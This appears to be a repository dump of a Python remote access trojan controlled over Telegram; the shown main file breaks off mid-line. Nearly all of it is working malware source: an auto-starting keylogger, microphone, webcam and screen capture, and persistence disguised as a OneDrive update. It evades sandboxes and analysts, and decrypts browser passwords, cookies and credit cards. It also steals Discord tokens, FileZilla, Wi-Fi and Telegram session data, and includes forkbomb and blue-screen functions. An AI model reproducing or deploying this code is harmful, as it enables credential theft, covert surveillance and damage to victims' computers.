├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ ├── custom.md │ └── feature_request.md ├── .gitignore ├── GIFS ├── API.py ├── REVERSESHELL.gif ├── compile.bat ├── new.txt ├── requirements.bat └── text.gif ├── LICENSE ├── README.md ├── externals ├── templates.py └── useless.py ├── gmail.py ├── mods ├── helper.py ├── linux │ ├── avscan.py │ └── wifi.py ├── screenshot.py ├── systeminfo.py ├── urlDownload.py ├── urlUploader.py └── windows │ ├── avscan.py │ ├── webcam.py │ └── wifi.py └── requirements.txt /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/custom.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Custom issue template 3 | about: Describe this issue template's purpose here. 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | setup.py 3 | __pycache__/ 4 | 5 | -------------------------------------------------------------------------------- /GIFS/API.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | ####################################ALL IMPORTS ############################### 3 | import os 4 | import ctypes 5 | import random 6 | import win32gui 7 | import sys 8 | import shutil 9 | import subprocess 10 | import urllib.request 11 | import ctypes.wintypes 12 | import json 13 | import datetime 14 | import platform 15 | import re 16 | import os 17 | import win32api 18 | import win32con 19 | from ctypes import wintypes 20 | import base64 21 | from base64 import b64decode 22 | from datetime import datetime 23 | from string import ascii_lowercase 24 | from sqlite3 import connect as sql_connect 25 | from json import loads as json_loads, load 26 | from xml.dom import minidom 27 | import time 28 | from threading import Thread 29 | import telebot 30 | try: 31 | from Crypto.Cipher import AES 32 | except ImportError: 33 | raise SystemExit('Please run › pip install pycryptodome') 34 | 35 | 36 | try: 37 | from threading import Thread 38 | from pynput.keyboard import Key, Listener 39 | except ImportError: 40 | raise SystemExit('Please run › pip install pynput') 41 | 42 | try: 43 | import wave 44 | import pyaudio 45 | except ImportError: 46 | raise SystemExit('Please run › pip install pyaudio') 47 | 48 | try: 49 | import mss 50 | except ImportError: 51 | raise SystemExit('Please run › pip install mss') 52 | 53 | try: 54 | from pyperclip import copy, paste 55 | except ImportError: 56 | raise SystemExit('Please run › pip install pyperclip') 57 | 58 | 59 | ############################################################################## 60 | 61 | ############################################################################## 62 | ################################VARIABLES##################################### 63 | # Token/ID 64 | TelegramToken = 'TOKEN' 65 | TelegramChatID = 'ID' 66 | 67 | 68 | # Run the script as administrator 69 | AdminRightsRequired = False 70 | 71 | # Disable Task Manager at first start 72 | DisableTaskManager = False 73 | # Disable Registry Editor at first start 74 | DisableRegistryTools = False 75 | 76 | # Process protection from termination and deletion 77 | ProcessBSODProtectionEnabled = False 78 | 79 | 80 | # Add to startup at first start 81 | AutorunEnabled = True 82 | # Installation directory 83 | InstallPath = 'C:\\ProgramData\\RegistryEditor' 84 | # Task name in Task Scheduler 85 | AutorunName = 'OneDrive Update' 86 | # The name of the process in the Task Manager 87 | ProcessName = 'System.exe' 88 | 89 | 90 | # Display a message at first start 91 | DisplayMessageBox = False 92 | # Your Message (will be displayed at start) 93 | Message = 'Message' 94 | 95 | 96 | # Directory for saving trojan temporary files 97 | Directory = 'C:\\Windows\\Temp\\TelegramRAT\\' 98 | 99 | ############################################################################## 100 | 101 | ############################################################################## 102 | ###########################FUNCTIONS AND CLASSES############################## 103 | def Forkbomb(): 104 | while True: 105 | try: 106 | os.startfile('cmd.exe') 107 | except: 108 | pass 109 | 110 | def Zipbomb(): 111 | while True: 112 | try: 113 | Random = str(random.random()) 114 | open(os.getcwd() + '\\' + Random, 'a').write(Random) 115 | except: 116 | pass 117 | 118 | def KillProcess(Process): 119 | if not Process.endswith('.exe'): 120 | Process = Process + '.exe' 121 | subprocess.call('taskkill /f /im ' + Process, shell=True) 122 | 123 | 124 | # Gets the title of the active window 125 | 126 | def WindowTitle(): 127 | return win32gui.GetWindowText(win32gui.GetForegroundWindow()) 128 | 129 | 130 | # Stops all processes 131 | 132 | def TaskkillAll(CurrentName): 133 | subprocess.call('taskkill /f /fi "USERNAME eq %username%" /fi "IMAGENAME ne explorer.exe USERNAME eq %username%" /fi "IMAGENAME ne "' + CurrentName + '"', 134 | shell=True) 135 | subprocess.call('explorer.exe', 136 | shell=True) 137 | 138 | def ProcessList(): 139 | Calling = subprocess.Popen('tasklist', 140 | shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.readlines() 141 | Process = [Calling[i].decode('cp866', 'ignore').split()[0].split('.exe')[0] for i in range(3,len(Calling))] 142 | Processes = '\n'.join(Process) 143 | return Processes 144 | 145 | def SendMessageBox(Message): 146 | ctypes.windll.user32.MessageBoxW(0, Message, u'', 0x40) 147 | 148 | def OpenBrowser(URL): 149 | if not URL.startswith('http'): 150 | URL = 'http://' + URL 151 | subprocess.call('start ' + URL, shell=True) 152 | 153 | def SetWallpapers(Photo, Directory): 154 | ctypes.windll.user32.SystemParametersInfoW(20, 0, Directory + Photo.file_path, 0) 155 | 156 | 157 | def Microphone(File, Seconds): 158 | CHUNK = 1024 159 | FORMAT = pyaudio.paInt16 160 | CHANNELS = 2 161 | RATE = 44100 162 | RECORD_SECONDS = float(Seconds) 163 | WAVE_OUTPUT_FILENAME = File 164 | p = pyaudio.PyAudio() 165 | stream = p.open(format=FORMAT, 166 | channels=CHANNELS, 167 | rate=RATE, 168 | input=True, 169 | frames_per_buffer=CHUNK) 170 | frames = [] 171 | for i in range(0, int(RATE/CHUNK * RECORD_SECONDS)): 172 | data = stream.read(CHUNK) 173 | frames.append(data) 174 | stream.stop_stream() 175 | stream.close() 176 | p.terminate() 177 | wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb') 178 | wf.setnchannels(CHANNELS) 179 | wf.setsampwidth(p.get_sample_size(FORMAT)) 180 | wf.setframerate(RATE) 181 | wf.writeframes(b''.join(frames)) 182 | wf.close() 183 | 184 | 185 | def Hibernate(): 186 | subprocess.call('shutdown -h /f', shell=True) 187 | 188 | # Turns off the computer 189 | 190 | def Shutdown(): 191 | subprocess.call('shutdown -s /t 0 /f', shell=True) 192 | 193 | 194 | # Restarts computer 195 | 196 | def Restart(): 197 | subprocess.call('shutdown -r /t 0 /f', shell=True) 198 | 199 | # Ends user session 200 | 201 | def Logoff(): 202 | subprocess.call('shutdown -l /f', shell=True) 203 | 204 | 205 | # Blue screen of death 206 | 207 | def BSoD(): 208 | ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool())) 209 | ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.wintypes.DWORD())) 210 | 211 | 212 | 213 | def Screenshot(File): 214 | with mss.mss() as sct: 215 | sct.shot(output=File) 216 | 217 | CommandCamPath = os.path.join(os.getenv('Temp'), 'CommandCam.exe') 218 | CommandCamLink = 'https://raw.githubusercontent.com/tedburke/CommandCam/master/CommandCam.exe' 219 | 220 | 221 | # Create screenshot from webcam 222 | 223 | def WebcamScreenshot(File, Delay=2500, Camera=1): 224 | if not os.path.exists(CommandCamPath): 225 | urllib.request.urlretrieve(CommandCamLink, CommandCamPath) 226 | 227 | Command = f'@{CommandCamPath} /filename \"{File}\" /delay {Delay} /devnum {Camera} > NUL' 228 | subprocess.call(Command, shell=True) 229 | 230 | 231 | def Windows(): 232 | System = platform.system() 233 | Release = platform.release() 234 | Version = System + ' ' + Release 235 | return Version 236 | 237 | 238 | # System Information 239 | 240 | def Computer(Win32, Value): 241 | a = subprocess.check_output('wmic ' + Win32 + ' get ' + Value, 242 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 243 | b = a.decode('utf-8') 244 | c = b.split('\n') 245 | return c[1] 246 | 247 | 248 | # Computer RAM 249 | 250 | def RAM(): 251 | Size = Computer('ComputerSystem', 'TotalPhysicalMemory') 252 | intSize = int(Size) / 1024 / 1024 / 1024 253 | return intSize 254 | 255 | 256 | # Getting the set computer time 257 | 258 | def SystemTime(): 259 | Today = datetime.datetime.today() 260 | SystemTime = str(Today.hour) + ':'+str(Today.minute) + ':' + str(Today.second) 261 | return SystemTime 262 | 263 | 264 | # Getting location via IP Address 265 | 266 | def Geolocation(Value, Ip=''): 267 | try: 268 | Result = urllib.request.urlopen(f'http://ip-api.com/json/{Ip}').read().decode('utf-8') 269 | except: 270 | return None 271 | else: 272 | Result = json.loads(Result) 273 | return Result[Value] 274 | 275 | 276 | # MAC address regex 277 | 278 | macRegex = re.compile('[0-9a-f]{2}([-:]?)[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$') 279 | 280 | 281 | # Get router ip address 282 | 283 | Command = 'chcp 65001 && ipconfig | findstr /i \"Default Gateway\"' 284 | 285 | subprocess.check_output(Command, 286 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 287 | 288 | 289 | # Get mac by local ip 290 | 291 | def GetMacByIP(): 292 | a = subprocess.check_output('arp -a', 293 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 294 | b = a.decode(encoding='cp866') 295 | c = b.find('') 296 | d = b[c:].split(' ') 297 | for b in d: 298 | if macRegex.match(b): 299 | return b.replace('-', ':') 300 | 301 | 302 | # Locate by BSSID 303 | 304 | def GetLocationByBSSID(BSSID): 305 | try: 306 | Result = urllib.request.urlopen(f'http://api.mylnikov.org/geolocation/wifi?bssid={BSSID}').read().decode('utf8') 307 | except: 308 | return None 309 | else: 310 | Result = json.loads(Result) 311 | return Result['data'] 312 | 313 | 314 | def SetClipboard(Text): 315 | copy(Text) 316 | 317 | 318 | # Get text from clipboard 319 | 320 | def GetClipboard(): 321 | return paste() 322 | 323 | Count = 0 324 | Keys = [] 325 | WindowsTitle = '' 326 | 327 | 328 | # Detected Button Definition 329 | 330 | def Keyboard(Key): 331 | global Count, Keys 332 | 333 | Keys.append(Key) 334 | Count += 1 335 | 336 | if Count >= 1: 337 | WriteFile(Keys) 338 | Keys = [] 339 | Count = 0 340 | 341 | 342 | # Writing pressed buttons to a file 343 | 344 | def WriteFile(Key): 345 | with open(os.getenv('Temp') + '\\Keylogs.txt', 'a', encoding='utf-8') as f: 346 | global WindowsTitle 347 | if WindowsTitle != win32gui.GetWindowText(win32gui.GetForegroundWindow()): 348 | f.write(('\n\n' + win32gui.GetWindowText(win32gui.GetForegroundWindow()) + '\n')) 349 | if str(Key).find('space') >= 0: 350 | f.write(' ') 351 | elif str(Key).find('Key') == -1: 352 | Key = str(Key[0]).replace("'", '') 353 | try: 354 | f.write(Key) 355 | except: 356 | pass 357 | 358 | WindowsTitle = win32gui.GetWindowText(win32gui.GetForegroundWindow()) 359 | 360 | 361 | # Listener function 362 | 363 | def Threader(): 364 | while True: 365 | try: 366 | with Listener(on_press=Keyboard) as listener: 367 | listener.join() 368 | except: 369 | pass 370 | 371 | 372 | # Activates the keylogger thread 373 | 374 | Thread(target=Threader).start() 375 | 376 | def VolumeControl(Level): 377 | for i in range(int(Level)): 378 | win32api.keybd_event(win32con.VK_VOLUME_UP, 0) 379 | 380 | 381 | def Admin(): 382 | return ctypes.windll.shell32.IsUserAnAdmin() != 0 383 | 384 | Antiviruses = { 385 | 'C:\\Program Files\\Windows Defender': 'Windows Defender', 386 | 'C:\\Program Files\\AVAST Software\\Avast': 'Avast', 387 | 'C:\\Program Files\\AVG\\Antivirus': 'AVG', 388 | 'C:\\Program Files (x86)\\Avira\\Launcher': 'Avira', 389 | 'C:\\Program Files (x86)\\IObit\\Advanced SystemCare': 'Advanced SystemCare', 390 | 'C:\\Program Files\\Bitdefender Antivirus Free': 'Bitdefender', 391 | 'C:\\Program Files\\DrWeb': 'Dr.Web', 392 | 'C:\\Program Files\\ESET\\ESET Security': 'ESET', 393 | 'C:\\Program Files (x86)\\Kaspersky Lab': 'Kaspersky Lab', 394 | 'C:\\Program Files (x86)\\360\\Total Security': '360 Total Security' 395 | } 396 | 397 | 398 | Antivirus = [Antiviruses[d] for d in filter(os.path.exists, Antiviruses)] 399 | 400 | 401 | def Processlist(): 402 | Processes = [] 403 | Process = subprocess.check_output('@chcp 65001 1> nul && @tasklist /fi \"STATUS eq RUNNING\" | find /V \"Image Name\" | find /V \"=\"', 404 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL).decode(encoding='utf-8', errors='strict') 405 | for ProcessName in Process.split(' '): 406 | if '.exe' in ProcessName: 407 | proc = ProcessName.replace('K\r\n', '').replace('\r\n', '') 408 | Processes.append(proc) 409 | return Processes 410 | 411 | 412 | # Detect blacklisted processes 413 | 414 | def BlacklistedProcesses(): 415 | Blacklist = ( 416 | 'processhacker.exe', 'procexp64.exe', 417 | 'taskmgr.exe', 'perfmon.exe', 418 | ) 419 | for Process in Processlist(): 420 | if Process.lower() in Blacklist: 421 | return True 422 | 423 | return False 424 | 425 | def MessageBox(Message): 426 | ctypes.windll.user32.MessageBoxW(0, Message, u'', 0x10) 427 | 428 | 429 | OrganizationsPaths = ( 430 | 'C:\\Users\\' + os.getlogin() + '\\Desktop\\Financial_Report.xls', 431 | 'C:\\Users\\Peter Wilson\\Desktop\\Microsoft Word 2010.lnk', 432 | 'C:\\Users\\Administrator\\Desktop\\Callaghan_1966.rtf', 433 | 'C:\\Users\\admin\\Desktop\\my school calendar.xlsx', 434 | 'C:\\Users\\raustin\\Desktop\\zaqrnsnoefaa.xlsx', 435 | 'C:\\Users\\Administrator\\Desktop\\decoy.cpp', 436 | 'C:\\Users\\John\\Desktop\\foobar.txt', 437 | 'C:\\Bank-statement-08-2013.docx', 438 | 'C:\\Users\\STRAZNICA.GRUBUTT', 439 | 'C:\\Users\\Jason\\Desktop', 440 | 'C:\\Users\\Lisa\\Desktop', 441 | 'C:\\TEMP\\Sample.exe', 442 | 'C:\\Users\\Joe Cage' 443 | ) 444 | 445 | 446 | # Detect Antivirus organization by Directories 447 | 448 | def Organization(): 449 | return any([os.path.exists(Organization) for Organization in OrganizationsPaths]) 450 | 451 | 452 | # Checks if the script is running computer of the anti-virus organization 453 | 454 | if Organization() is True: 455 | sys.exit() 456 | 457 | 458 | class DATA_BLOB(ctypes.Structure): 459 | _fields_ = [ 460 | ('cbData', wintypes.DWORD), 461 | ('pbData', ctypes.POINTER(ctypes.c_char)) 462 | ] 463 | 464 | 465 | # Get data 466 | 467 | def GetData(blob_out): 468 | cbData = int(blob_out.cbData) 469 | pbData = blob_out.pbData 470 | buffer = ctypes.c_buffer(cbData) 471 | ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData) 472 | ctypes.windll.kernel32.LocalFree(pbData) 473 | return buffer.raw 474 | 475 | 476 | # Decrypt bytes using DPAPI 477 | 478 | def CryptUnprotectData(encrypted_bytes, entropy=b''): 479 | buffer_in = ctypes.c_buffer(encrypted_bytes, len(encrypted_bytes)) 480 | buffer_entropy = ctypes.c_buffer(entropy, len(entropy)) 481 | blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) 482 | blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) 483 | blob_out = DATA_BLOB() 484 | 485 | if ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blob_in), None, ctypes.byref(blob_entropy), None, 486 | None, 0x01, ctypes.byref(blob_out)): 487 | return GetData(blob_out) 488 | 489 | 490 | # Appdata path 491 | 492 | LocalAppData = os.environ['LocalAppData'] + '\\' 493 | AppData = os.environ['AppData'] + '\\' 494 | FileName = 116444736000000000 495 | NanoSeconds = 10000000 496 | 497 | 498 | # Change encoding to UTF8 499 | 500 | subprocess.Popen('@chcp 65001 1>nul', shell=True) 501 | 502 | 503 | # Get browsers install path 504 | 505 | def GetBrowsers(): 506 | Browsers = [] 507 | 508 | for Browser in BrowsersPath: 509 | if os.path.exists(Browser): 510 | Browsers.append(Browser) 511 | 512 | return Browsers 513 | 514 | 515 | # Decrypt payload 516 | 517 | def DecryptPayload(cipher, payload): 518 | return cipher.decrypt(payload) 519 | 520 | 521 | # Generate cipher 522 | 523 | def GenerateCipher(aes_key, iv): 524 | return AES.new(aes_key, AES.MODE_GCM, iv) 525 | 526 | 527 | # Receive master-key 528 | 529 | def GetMasterKey(browserPath): 530 | fail = True 531 | 532 | for i in range(4): 533 | path = browserPath + '\\..' * i + '\\Local State' 534 | 535 | if os.path.exists(path): 536 | fail = False 537 | break 538 | 539 | if fail: 540 | return None 541 | 542 | with open(path, 'r', encoding='utf-8') as f: 543 | local_state = f.read() 544 | local_state = json_loads(local_state) 545 | 546 | master_key = b64decode(local_state['os_crypt']['encrypted_key']) 547 | master_key = master_key[5:] 548 | master_key = CryptUnprotectData(master_key) 549 | return master_key 550 | 551 | 552 | # Decrypt value 553 | 554 | def DecryptValue(buff, master_key=None): 555 | starts = buff.decode(encoding='utf-8', errors='ignore')[:3] 556 | 557 | if starts == 'v10' or starts == 'v11': 558 | iv = buff[3:15] 559 | payload = buff[15:] 560 | cipher = GenerateCipher(master_key, iv) 561 | decrypted_pass = DecryptPayload(cipher, payload) 562 | decrypted_pass = decrypted_pass[:-16].decode() 563 | return decrypted_pass 564 | 565 | else: 566 | decrypted_pass = CryptUnprotectData(buff) 567 | return decrypted_pass 568 | 569 | 570 | # Get data from database 571 | 572 | def FetchDataBase(target_db, sql=''): 573 | if not os.path.exists(target_db): 574 | return [] 575 | 576 | tmpDB = os.getenv('TEMP') + 'info_' + ''.join(random.choice(ascii_lowercase) for i in range(random.randint(10, 20))) + '.db' 577 | shutil.copy2(target_db, tmpDB) 578 | conn = sql_connect(tmpDB) 579 | cursor = conn.cursor() 580 | cursor.execute(sql) 581 | data = cursor.fetchall() 582 | cursor.close() 583 | conn.close() 584 | 585 | try: 586 | os.remove(tmpDB) 587 | except: 588 | pass 589 | 590 | return data 591 | 592 | 593 | # Convert ms time stamp to date 594 | 595 | def ConvertDate(ft): 596 | utc = datetime.utcfromtimestamp(((10 * int(ft)) - FileName) / NanoSeconds) 597 | return utc.strftime('%Y-%m-%d %H:%M:%S') 598 | 599 | 600 | # Browsers path's 601 | 602 | BrowsersPath = ( 603 | LocalAppData + 'Google\\Chrome\\User Data\\Default', 604 | AppData + 'Opera Software\\Opera Stable' 605 | ) 606 | 607 | 608 | # Fetch creditcards from chromium based browsers 609 | 610 | def GetCreditCards(): 611 | global credentials 612 | credentials = [] 613 | 614 | for browser in GetBrowsers(): 615 | master_key = GetMasterKey(browser) 616 | database = FetchDataBase(browser + '\\Web Data', 'SELECT * FROM credit_cards') 617 | 618 | for row in database: 619 | if not row[4]: 620 | break 621 | 622 | card = { 623 | 'number': DecryptValue(row[4], master_key), 624 | 'expireYear': row[3], 625 | 'expireMonth': row[2], 626 | 'name': row[1], 627 | } 628 | credentials.append(card) 629 | 630 | return credentials 631 | 632 | 633 | # Get passwords converted to NetScape format 634 | 635 | def GetFormattedCreditCards(): 636 | getCreditCards = GetCreditCards() 637 | fmtCreditCards = '' 638 | for card in getCreditCards: 639 | fmtCreditCards += ('Number: {4}\nName: {1}\nExpireYear: {3}\nExpireMonth: {2}\n\n' 640 | .format(card['number'], card['expireYear'], card['expireMonth'], card['name'])) 641 | 642 | return fmtCreditCards 643 | 644 | 645 | # Fetch creditcards from chromium based browsers 646 | 647 | def GetBookmarks(): 648 | global credentials 649 | credentials = [] 650 | 651 | for browser in GetBrowsers(): 652 | bookmarksFile = browser + '\\Bookmarks' 653 | 654 | if not os.path.exists(bookmarksFile): 655 | continue 656 | else: 657 | with open(bookmarksFile, 'r', encoding='utf-8', errors='ignore') as file: 658 | bookmarks = load(file)['roots']['bookmark_bar']['children'] 659 | 660 | for row in bookmarks: 661 | bookmark = { 662 | 'hostname': row['url'], 663 | 'name': row['name'], 664 | 'date_added': ConvertDate(row['date_added']) 665 | } 666 | 667 | credentials.append(bookmark) 668 | 669 | return credentials 670 | 671 | 672 | # Get passwords converted to NetScape format 673 | 674 | def GetFormattedBookmarks(): 675 | getBookmarks = GetBookmarks() 676 | fmtBookmarks = '' 677 | 678 | for bookmark in getBookmarks: 679 | fmtBookmarks += ('URL: {0}\nName: {1}\nDate: {2}\n\n' 680 | .format(bookmark['hostname'], bookmark['name'], bookmark['date_added'])) 681 | 682 | return fmtBookmarks 683 | 684 | 685 | # Fetch passwords from chromium based browsers 686 | 687 | def GetPasswords(): 688 | global credentials 689 | credentials = [] 690 | 691 | for browser in GetBrowsers(): 692 | master_key = GetMasterKey(browser) 693 | database = FetchDataBase(browser + '\\Login Data', 'SELECT action_url, username_value, password_value FROM logins') 694 | 695 | for row in database: 696 | password = { 697 | 'hostname': row[0], 698 | 'username': row[1], 699 | 'password': DecryptValue(row[2], master_key) 700 | } 701 | credentials.append(password) 702 | 703 | return credentials 704 | 705 | 706 | # Get passwords converted to NetScape format 707 | 708 | def GetFormattedPasswords(): 709 | getPasswords = GetPasswords() 710 | fmtPasswords = '' 711 | 712 | for password in getPasswords: 713 | fmtPasswords += ('Hostname: {0}\nUsername: {1}\nPassword: {2}\n\n' 714 | .format(password['hostname'], password['username'], password['password'])) 715 | 716 | return fmtPasswords 717 | 718 | 719 | # Fetch cookies from chromium based browsers 720 | 721 | def GetCookies(): 722 | global credentials 723 | credentials = [] 724 | 725 | for browser in GetBrowsers(): 726 | master_key = GetMasterKey(browser) 727 | database = FetchDataBase(browser + '\\Cookies', 'SELECT * FROM cookies') 728 | 729 | for row in database: 730 | cookie = { 731 | 'value': DecryptValue(row[12], master_key), 732 | 'hostname': row[1], 733 | 'name': row[2], 734 | 'path': row[4], 735 | 'expires': row[5], 736 | 'secure': bool(row[6]) 737 | } 738 | credentials.append(cookie) 739 | 740 | return credentials 741 | 742 | 743 | # Get cookies converted to NetScape format 744 | 745 | def GetFormattedCookies(): 746 | getCookies = GetCookies() 747 | fmtCookies = '' 748 | 749 | for cookie in getCookies: 750 | fmtCookies += ('Value: {0}\nHost: {1}\nName: {2}\nPath: {3}\nExpire: {4}\nSecure: {5}\n\n' 751 | .format(cookie['value'], cookie['hostname'], cookie['name'], cookie['path'], cookie['expires'], cookie['secure'])) 752 | 753 | return fmtCookies 754 | 755 | 756 | # Fetch history from chromium based browsers 757 | 758 | def GetHistory(): 759 | global credentials 760 | credentials = [] 761 | 762 | for browser in GetBrowsers(): 763 | database = FetchDataBase(browser + '\\History', 'SELECT * FROM urls') 764 | 765 | for row in database: 766 | history = { 767 | 'hostname': row[1], 768 | 'title': row[2], 769 | 'visits': row[3] + 1, 770 | 'expires': ConvertDate(row[5]) 771 | } 772 | credentials.append(history) 773 | 774 | return credentials 775 | 776 | 777 | # Get history converted to NetScape format 778 | 779 | def GetFormattedHistory(): 780 | getHistory = GetHistory() 781 | fmtHistory = '' 782 | 783 | for history in getHistory: 784 | fmtHistory += ('Hostname: {0}\nTitle: {1}\nVisits: {2}\nExpires: {3}\n\n' 785 | .format(history['hostname'], history['title'], history['visits'], history['expires'])) 786 | 787 | return fmtHistory 788 | 789 | 790 | 791 | Roaming = os.getenv('AppData') 792 | 793 | Directories = { 794 | 'Discord': Roaming + '\\Discord', 795 | 'Discord Canary': Roaming + '\\discordcanary', 796 | 'Discord PTB': Roaming + '\\discordptb', 797 | } 798 | 799 | 800 | # Get discord token directory 801 | 802 | def Scan(Directory): 803 | Directory += '\\Local Storage\\leveldb' 804 | 805 | Tokens = [] 806 | 807 | for FileName in os.listdir(Directory): 808 | if not FileName.endswith('.log') and not FileName.endswith('.ldb'): 809 | continue 810 | 811 | for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]: 812 | for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'): 813 | for Token in re.findall(regex, line): 814 | Tokens.append(Token) 815 | 816 | return Tokens 817 | 818 | 819 | # Grab Discord token files 820 | 821 | def DiscordToken(): 822 | for Discord, Directory in Directories.items(): 823 | if os.path.exists(Directory): 824 | Tokens = Scan(Directory) 825 | 826 | if len(Tokens) > 0: 827 | for Token in Tokens: 828 | return Token 829 | 830 | 831 | 832 | # Fetch servers from FileZilla 833 | 834 | FileZilla = os.getenv('AppData') + '\\FileZilla\\' 835 | 836 | def StealFileZilla(): 837 | if not os.path.exists(FileZilla): 838 | return [] 839 | 840 | RecentServersPath = FileZilla + 'recentservers.xml' 841 | SiteManagerPath = FileZilla + 'sitemanager.xml' 842 | 843 | # Read recent servers 844 | 845 | if os.path.exists(RecentServersPath): 846 | xmlDoc = minidom.parse(RecentServersPath) 847 | Servers = xmlDoc.getElementsByTagName('Server') 848 | for Node in Servers: 849 | Server = { 850 | 'Hostname': 'ftp://' + Node.getElementsByTagName('Host')[0].firstChild.data + ':' + Node.getElementsByTagName('Port')[0].firstChild.data + '/', 851 | 'Username': Node.getElementsByTagName('User')[0].firstChild.data, 852 | 'Password': base64.b64decode(Node.getElementsByTagName('Pass')[0].firstChild.data).decode() 853 | } 854 | 855 | # Read sitemanager 856 | 857 | if os.path.exists(SiteManagerPath): 858 | xmlDoc = minidom.parse(SiteManagerPath) 859 | Servers = xmlDoc.getElementsByTagName('Server') 860 | for Node in Servers: 861 | Server = { 862 | 'Hostname': 'ftp://' + Node.getElementsByTagName('Host')[0].firstChild.data + ':' + Node.getElementsByTagName('Port')[0].firstChild.data + '/', 863 | 'Username': Node.getElementsByTagName('User')[0].firstChild.data, 864 | 'Password': base64.b64decode(Node.getElementsByTagName('Pass')[0].firstChild.data).decode() 865 | } 866 | 867 | return Server 868 | 869 | 870 | def StealWifiPasswords(): 871 | Result = [] 872 | Chcp = 'chcp 65001 && ' 873 | Networks = subprocess.check_output(f'{Chcp}netsh wlan show profile', 874 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 875 | Networks = Networks.decode(encoding='utf-8', errors='strict') 876 | NetworkNamesList = re.findall('(?:Profile\\s*:\\s)(.*)', Networks) 877 | for NetworkName in NetworkNamesList: 878 | CurrentResult = subprocess.check_output(f'{Chcp}netsh wlan show profile {NetworkName} key=clear', 879 | shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) 880 | CurrentResult = CurrentResult.decode(encoding='utf-8', errors='strict') 881 | SSID = re.findall('(?:SSID name\\s*:\\s)(.*)', str(CurrentResult))[0].replace('\r', '').replace("\"", '') 882 | Authentication = re.findall(r'(?:Authentication\s*:\s)(.*)', CurrentResult)[0].replace('\r', '') 883 | Cipher = re.findall('(?:Cipher\\s*:\\s)(.*)', CurrentResult)[0].replace('\r', '') 884 | SecurityKey = re.findall(r'(?:Security key\s*:\s)(.*)', CurrentResult)[0].replace('\r', '') 885 | Password = re.findall('(?:Key Content\\s*:\\s)(.*)', CurrentResult)[0].replace('\r', '') 886 | WiFi = { 887 | 'SSID': SSID, 888 | 'AUTH': Authentication, 889 | 'Cipher': Cipher, 890 | 'SecurityKey': SecurityKey, 891 | 'Password': Password 892 | } 893 | 894 | return WiFi 895 | 896 | import zipfile 897 | 898 | 899 | Files = [ 900 | 'D877F783D5D3EF8Cs', 901 | 'D877F783D5D3EF8C\\maps' 902 | ] 903 | 904 | 905 | # Get telegram tdata directory 906 | 907 | def Scan(): 908 | tdata = os.path.join(os.getenv('AppData'), 'Telegram Desktop\\tdata') 909 | return tdata 910 | 911 | 912 | # Grab telegram session files 913 | 914 | def TelegramSession(Directory, TelegramDir=Scan()): 915 | if not os.path.exists(TelegramDir): 916 | return None 917 | 918 | with zipfile.ZipFile(Directory + 'tdata.zip', 'w', zipfile.ZIP_DEFLATED) as Archive: 919 | os.chdir(TelegramDir) 920 | 921 | for File in Files: 922 | if os.path.exists(File): 923 | Archive.write(File, os.path.join('tdata', File)) 924 | ############################################################################## 925 | 926 | ######################################################################################### 927 | ##########################################CLASSES######################################## 928 | class ADDONS: 929 | VOICE = "https://raw.githubusercontent.com/samratashok/nishang/master/Misc/Speak.ps1" 930 | ADVANCED_INFO = "https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-Information.ps1" 931 | #PORT_SCAN = "https://raw.githubusercontent.com/samratashok/nishang/master/Scan/Invoke-PortScan.ps1" 932 | #DOWNLOAD_WEB = 